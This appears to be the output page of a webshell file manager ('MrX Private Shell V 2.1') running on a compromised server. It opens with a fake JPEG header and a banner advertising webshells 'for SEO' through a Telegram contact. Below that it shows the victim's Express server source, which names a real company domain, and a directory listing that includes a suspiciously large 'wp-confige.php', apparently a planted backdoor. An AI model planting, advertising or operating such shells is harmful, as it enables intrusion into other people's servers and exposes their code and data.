����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import dotenv from "dotenv";
dotenv.config();
import express from "express";
import dbInit from "./config/dbInit.js";
import router from "./routes/index.js";
import cors from "cors";
import envVariables from "./config/constants.js";
import ErrorMiddleware from "./middlewares/Error.js";
import { makeRequiredDirectories } from "./utils/fileHandler.js";
import dbConnection from "./config/dbConnect.js";
// Create an Express app
const app = express();
const { appPort } = envVariables;
makeRequiredDirectories();
const allowedUrls = [
"https://sanzylimited.com",
"https://www.sanzylimited.com",
"http://localhost:5173",
"http://localhost:5174",
"http://localhost:5175",
];
const corsOption = {
origin: allowedUrls,
credentials: true,
methods: ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
allowedHeaders: ["Content-Type", "Authorization"],
};
app.use(cors(corsOption));
app.options("*", cors(corsOption));
// Middleware to parse JSON
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use("/api/v1", router);
app.use(ErrorMiddleware);
app.listen(appPort, async () => {
console.log(`Listening to port ${appPort}`);
await dbConnection();
// dbConnection().then(async () => {
// await dbInit();
// });
});| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .well-known | Folder | 0755 |
|
|
| config | Folder | 0755 |
|
|
| controllers | Folder | 0755 |
|
|
| middlewares | Folder | 0755 |
|
|
| models | Folder | 0755 |
|
|
| node_modules | Folder | 0755 |
|
|
| routes | Folder | 0755 |
|
|
| services | Folder | 0755 |
|
|
| tmp | Folder | 0755 |
|
|
| uploads | Folder | 0755 |
|
|
| utils | Folder | 0755 |
|
|
| validations | Folder | 0755 |
|
|
| .htaccess | File | 1.02 KB | 0644 |
|
| error.log | File | 7.42 KB | 0644 |
|
| error_log | File | 2.52 KB | 0644 |
|
| index.js | File | 1.3 KB | 0644 |
|
| index.php | File | 420 B | 0644 |
|
| package-lock.json | File | 67.33 KB | 0644 |
|
| package.json | File | 671 B | 0644 |
|
| stderr.log | File | 0 B | 0644 |
|
| vercel.json | File | 225 B | 0644 |
|
| wp-confige.php | File | 1.45 MB | 0644 |
|